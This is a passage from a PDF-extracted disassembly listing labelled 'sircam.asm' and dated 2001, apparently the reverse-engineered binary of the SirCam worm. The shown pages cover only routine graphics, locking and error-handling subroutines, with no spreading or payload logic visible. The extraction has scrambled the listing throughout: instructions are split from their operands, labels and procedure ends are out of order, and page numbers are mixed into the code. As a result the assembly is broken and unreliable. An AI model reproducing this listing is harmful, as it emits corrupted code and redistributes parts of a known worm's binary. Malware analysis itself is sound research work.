mov eax, ds:dword_41E6C4 call sub_4137D8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413F76: ; DATA XREF: sub_413EF0+22\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_413F6B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413F7D: sub_413EF0 ; CODE XREF: sub_413EF0+13\030j ; DATA XREF: sub_413EF0+76\030o mov mov mov pop retn endp eax, [ebp+var_4] eax, [eax+8] esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_413F88 proc near sub_413F88 mov mov retn endp ; CODE XREF: sub_414314+32\031p ; sub_414314+56\031p eax, [eax+10h] eax, [eax+14h] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 532 align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_413F90 proc near var_10 var_C var_8 var_4 = = = = dword dword dword dword ptr ptr ptr ptr ; CODE XREF: sub_414314+6\031p ; sub_414314+14\031p -10h -0Ch -8 -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h mov eax, [eax+10h] mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz loc_414064 mov eax, ds:dword_41E6C8 call sub_4137CC xor edx, edx push ebp push offset loc_41405D push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] cmp dword ptr [eax+8], 0 jnz short loc_414045 mov eax, [ebp+var_4] mov eax, [eax+18h] test eax, eax jz short loc_413FF2 mov [ebp+var_10], 3 mov dl, 1 mov ecx, [eax] call dword ptr [ecx+68h] mov eax, [ebp+var_4] mov eax, [eax+18h] mov edx, [eax] call dword ptr [edx+60h] mov [ebp+var_8], eax jmp short loc_414028 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_413FF2: ; CODE XREF: sub_413F90+42\030j xor eax, eax mov [ebp+var_8], eax mov eax, [ebp+var_4] mov al, [eax+1Ch] mov edx, eax sub dl, 1 jb short loc_414008 jz short loc_41400F jmp short loc_414018 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414008: ; CODE XREF: sub_413F90+72\030j xor eax, eax mov [ebp+var_10], eax jmp short loc_414028 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41400F: ; CODE XREF: sub_413F90+74\030j mov [ebp+var_10], 1 jmp short loc_414028 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_414018: 533 ; CODE XREF: sub_413F90+76\030j mov and sub mov [ebp+var_10], 2 eax, 7Fh eax, 2 [ebp+var_8], eax loc_414028: ; CODE XREF: sub_413F90+60\030j ; sub_413F90+7D\030j ... mov mov call mov lea push call mov mov eax, [ebp+var_4] eax, [eax+14h] sub_413B3C [ebp+var_C], eax eax, [ebp+var_10] eax j_CreateBrushIndirect edx, [ebp+var_4] [edx+8], eax xor pop pop pop mov push ; CODE XREF: sub_413F90+38\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_414064 loc_414045: loc_414052: ; CODE XREF: sub_413F90+D2\031j mov eax, ds:dword_41E6C8 call sub_4137D8 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41405D: ; DATA XREF: sub_413F90+26\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414052 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414064: sub_413F90 ; CODE XREF: sub_413F90+13\030j ; DATA XREF: sub_413F90+BD\030o mov mov mov pop retn endp eax, [ebp+var_4] eax, [eax+8] esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414070 sub_414070 proc near mov eax, [eax+10h] mov al, [eax+1Ch] retn endp ; CODE XREF: sub_414314+26\031p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414078 proc near push mov ebx ebx, eax ; CODE XREF: sub_4140CC+2F\031p ; sub_4154E0+18\031p sircam.asm sub_414078 Fri Aug 10 12:42:44 2001 534 push offset unk_41E6A8 call j_EnterCriticalSection_0 inc dword ptr [ebx+50h] push offset unk_41E6A8 call j_LeaveCriticalSection_0 lea eax, [ebx+38h] push eax call j_EnterCriticalSection_0 pop ebx retn endp ; sp = -0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4140A0 sub_4140A0 proc near ; CODE XREF: sub_414174+13\031p push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax mov dl, ds:byte_4140C8 mov eax, ebx call sub_414244 push 0 push edi push esi mov eax, [ebx+4] push eax call j_MoveToEx pop edi pop esi pop ebx retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 byte_4140C8 db 1 ; DATA XREF: sub_4140A0+9\030r align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4140CC proc near var_1 = byte ptr -1 push mov push push mov push call xor push push push mov cmp setz cmp jz mov ; CODE XREF: sub_415434+41\031p ebp ebp, esp ecx ebx ebx, eax offset unk_41E6A8 j_EnterCriticalSection_0 eax, eax ebp offset loc_414118 dword ptr fs:[eax] fs:[eax], esp dword ptr [ebx+50h], 0 [ebp+var_1] [ebp+var_1], 0 short loc_414100 eax, ebx sircam.asm Fri Aug 10 12:42:44 2001 call sub_414078 xor pop pop pop mov push ; CODE XREF: sub_4140CC+2B\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_41411F loc_414100: loc_41410D: sub_4140CC 535 ; CODE XREF: CODE:0041411D\031j push offset unk_41E6A8 call j_LeaveCriticalSection_0 retn endp ; sp = -18h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414118: ; DATA XREF: sub_4140CC+14\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_41410D ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41411F: ; DATA XREF: sub_4140CC+3C\030o mov al, [ebp-1] pop ebx pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414128 proc near push mov lea push call push call dec loc_414141: sub_414128 ; CODE XREF: sub_415434+70\031p ; sub_4154E0+8E\031p ebx ebx, eax eax, [ebx+38h] eax j_LeaveCriticalSection_0 offset unk_41E6A8 j_EnterCriticalSection_0 dword ptr [ebx+50h] ; DATA XREF: CODE:00408C14\030o push offset unk_41E6A8 call j_LeaveCriticalSection_0 pop ebx retn endp ; sp = -0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414150 proc near ; CODE XREF: sub_4141F0+1F\031p push ebx push esi mov esi, edx mov ebx, eax mov dl, ds:byte_414170 mov eax, ebx call sub_414244 push esi mov eax, [ebx+4] sircam.asm sub_414150 Fri Aug 10 12:42:44 2001 push call pop pop retn endp 536 eax j_GetCurrentPositionEx esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ byte_414170 db 1 ; DATA XREF: sub_414150+6\030r align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414174 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 sub_414174 push push add mov lea movsd movsd mov mov call pop pop pop pop retn endp ; CODE XREF: sub_4141F0+4A\031p esi edi esp, 0FFFFFFF8h esi, edx edi, [esp+8+var_8] ecx, [esp+8+var_4] edx, [esp+8+var_8] sub_4140A0 ecx edx edi esi ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414194 proc near ; CODE XREF: sub_4141F0+16\031p push ebx push esi mov ebx, eax mov esi, [ebx+4] test esi, esi jz short loc_4141E7 mov al, ds:byte_4141EC not eax and al, [ebx+8] mov dl, [ebx+8] cmp dl, al jz short loc_4141E7 mov eax, ds:dword_41E680 push eax push esi call j_SelectObject mov eax, ds:dword_41E684 push eax mov eax, [ebx+4] push eax call j_SelectObject mov eax, ds:dword_41E688 push eax mov eax, [ebx+4] push eax call j_SelectObject mov al, ds:byte_4141EC sircam.asm Fri Aug 10 12:42:44 2001 not and mov eax al, [ebx+8] [ebx+8], al loc_4141E7: sub_414194 537 ; CODE XREF: sub_414194+9\030j ; sub_414194+1A\030j pop pop retn endp esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 byte_4141EC db 0Eh ; DATA XREF: sub_414194+B\030r ; sub_414194+46\030r align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4141F0 proc near var_8 var_4 = dword ptr -8 = dword ptr -4 push push add mov mov mov cmp jz test jz mov call mov mov call mov mov mov mov xor mov and ebx esi esp, 0FFFFFFF8h esi, edx ebx, eax eax, [ebx+4] esi, eax short loc_41423F eax, eax short loc_41422A eax, ebx sub_414194 edx, esp eax, ebx sub_414150 eax, [esp+8+var_8] [ebx+18h], eax eax, [esp+8+var_4] [ebx+1Ch], eax eax, eax [ebx+4], eax byte ptr [ebx+8], 0FEh test jz or mov lea mov call ; CODE XREF: sub_4141F0+12\030j esi, esi short loc_41423F byte ptr [ebx+8], 1 [ebx+4], esi edx, [ebx+18h] eax, ebx sub_414174 loc_41422A: loc_41423F: sub_4141F0 ; CODE XREF: sub_4154E0+66\031p ; CODE XREF: sub_4141F0+E\030j ; sub_4141F0+3C\030j pop pop pop pop retn endp ecx edx esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_414244 Fri Aug 10 12:42:44 2001 proc near push push push mov mov mov not and mov cmp jz test jz mov mov call cmp jnz mov mov mov call call ; CODE XREF: sub_4140A0+11\030p ; sub_414150+E\030p ... ebx esi ecx [esp+0], dl esi, eax bl, [esi+8] ebx bl, [esp] al, ds:byte_4142B4 al, bl short loc_4142B0 bl, 1 short loc_414286 eax, esi edx, [eax] dword ptr [edx+14h] dword ptr [esi+4], 0 short loc_414286 ecx, ds:off_41DB60 dl, 1 eax, ds:off_40B85C sub_40950C sub_402F98 loc_414286: ; CODE XREF: sub_414244+1C\030j ; sub_414244+29\030j test jz mov call bl, 2 short loc_414292 eax, esi sub_4142B8 test jz mov call bl, 4 short loc_41429E eax, esi sub_4142E4 test jz mov call bl, 8 short loc_4142AA eax, esi sub_414314 or mov bl, [esi+8] [esi+8], bl pop pop pop retn endp edx esi ebx loc_414292: ; CODE XREF: sub_414244+45\030j loc_41429E: ; CODE XREF: sub_414244+51\030j loc_4142AA: ; CODE XREF: sub_414244+5D\030j loc_4142B0: sub_414244 538 ; CODE XREF: sub_414244+17\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ byte_4142B4 db 0 ; DATA XREF: sub_414244+10\030r align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4142B8 proc near push ebx mov ebx, eax mov eax, [ebx+0Ch] call sub_413D40 push eax mov eax, [ebx+4] ; CODE XREF: sub_414244+49\030p sircam.asm sub_4142B8 Fri Aug 10 12:42:44 2001 push call mov mov call push mov push call pop retn endp 539 eax j_SelectObject eax, [ebx+0Ch] eax, [eax+18h] sub_413B3C eax eax, [ebx+4] eax j_SetTextColor ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4142E4 sub_4142E4 proc near ; CODE XREF: sub_414244+55\030p push ebx mov ebx, eax mov eax, [ebx+10h] call sub_413EF0 push eax mov eax, [ebx+4] push eax call j_SelectObject mov eax, [ebx+10h] movzx eax, byte ptr [eax+18h] movzx eax, ds:word_41DA48[eax*2] push eax mov eax, [ebx+4] push eax call j_SetROP2 pop ebx retn endp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414314 proc near ; CODE XREF: sub_414244+61\030p push ebx mov ebx, eax mov eax, [ebx+14h] call sub_413F90 push eax call j_UnrealizeObject mov eax, [ebx+14h] call sub_413F90 push eax mov eax, [ebx+4] push eax call j_SelectObject mov eax, [ebx+14h] call sub_414070 test al, al jnz short loc_414367 mov eax, [ebx+14h] call sub_413F88 call sub_413B3C push eax mov eax, [ebx+4] push eax call j_SetBkColor push 2 mov eax, [ebx+4] push eax call j_SetBkMode pop ebx sircam.asm Fri Aug 10 12:42:44 2001 540 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414367: sub_414314 ; CODE XREF: sub_414314+2D\030j mov call call not push mov push call push mov push call pop retn endp eax, [ebx+14h] sub_413F88 sub_413B3C eax eax eax, [ebx+4] eax j_SetBkColor 1 eax, [ebx+4] eax j_SetBkMode ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_414390 proc near sub_414390 push mov mov mov mov call call pop retn endp ; CODE XREF: CODE:004159E6\031p ; CODE:00415A02\031p ... ebx ebx, eax ecx, ebx dl, 1 eax, ds:off_413414 sub_40950C sub_402F98 ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4143A8 proc near sub_4143A8 push mov mov mov mov call call pop retn endp ; CODE XREF: sub_4143C0+5\031p ; sub_4143CC+5\031p ebx ebx, eax ecx, ebx dl, 1 eax, ds:off_4133B8 sub_40950C sub_402F98 ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4143C0 sub_4143C0 proc near ; CODE XREF: sub_414CF0+1D\031p mov eax, ds:off_41DB44 call sub_4143A8 retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 sub_4143CC proc near sub_4143CC mov call retn endp 541 ; CODE XREF: sub_415764+64\031p ; sub_4157DC+1E\031p ... eax, ds:off_41DB4C sub_4143A8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4143D8 proc near var_4 = dword ptr -4 push mov push xor push push push mov lea mov call mov mov mov call call xor pop pop pop mov push ; CODE XREF: sub_41442C+7E\031p ; sub_414790+58\031p ... ebp ebp, esp 0 eax, eax ebp offset loc_414422 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, ds:off_41DAF0 sub_404B80 ecx, [ebp+var_4] dl, 1 eax, ds:off_40B800 sub_409450 sub_402F98 eax, eax edx ecx ecx fs:[eax], edx offset loc_414429 loc_414419: sub_4143D8 ; CODE XREF: CODE:00414427\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -0Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414422: ; DATA XREF: sub_4143D8+8\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_414419 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_414429: ; DATA XREF: sub_4143D8+3C\030o pop pop retn ecx ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41442C proc near ; CODE XREF: sub_4144D4+7\031p ; sub_4144E4+72\031p ... sircam.asm var_104 var_100 Fri Aug 10 12:42:44 2001 542 = dword ptr -104h = byte ptr -100h push ebp mov ebp, esp add esp, 0FFFFFEFCh push ebx xor eax, eax mov [ebp+var_104], eax xor eax, eax push ebp push offset loc_4144C8 push dword ptr fs:[eax] mov fs:[eax], esp call j_GetLastError_0 mov ebx, eax test ebx, ebx jz short loc_4144AA push 0 push 100h lea eax, [ebp+var_100] push eax push 400h push ebx push 0 push 1000h call j_FormatMessageA test eax, eax jz short loc_4144AA lea eax, [ebp+var_104] lea edx, [ebp+var_100] mov ecx, 100h call sub_4036F8 mov ecx, [ebp+var_104] mov dl, 1 mov eax, ds:off_40B800 call sub_409450 call sub_402F98 jmp short loc_4144AF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4144AA: ; CODE XREF: sub_41442C+29\030j ; sub_41442C+4D\030j call sub_4143D8 xor pop pop pop mov push ; CODE XREF: sub_41442C+7C\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_4144CF loc_4144AF: loc_4144BC: sub_41442C ; CODE XREF: CODE:004144CD\031j lea eax, [ebp+var_104] call sub_4034C8 retn endp ; sp = -110h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4144C8: ; DATA XREF: sub_41442C+15\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4144BC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4144CF: ; DATA XREF: sub_41442C+8B\030o pop mov ebx esp, ebp sircam.asm Fri Aug 10 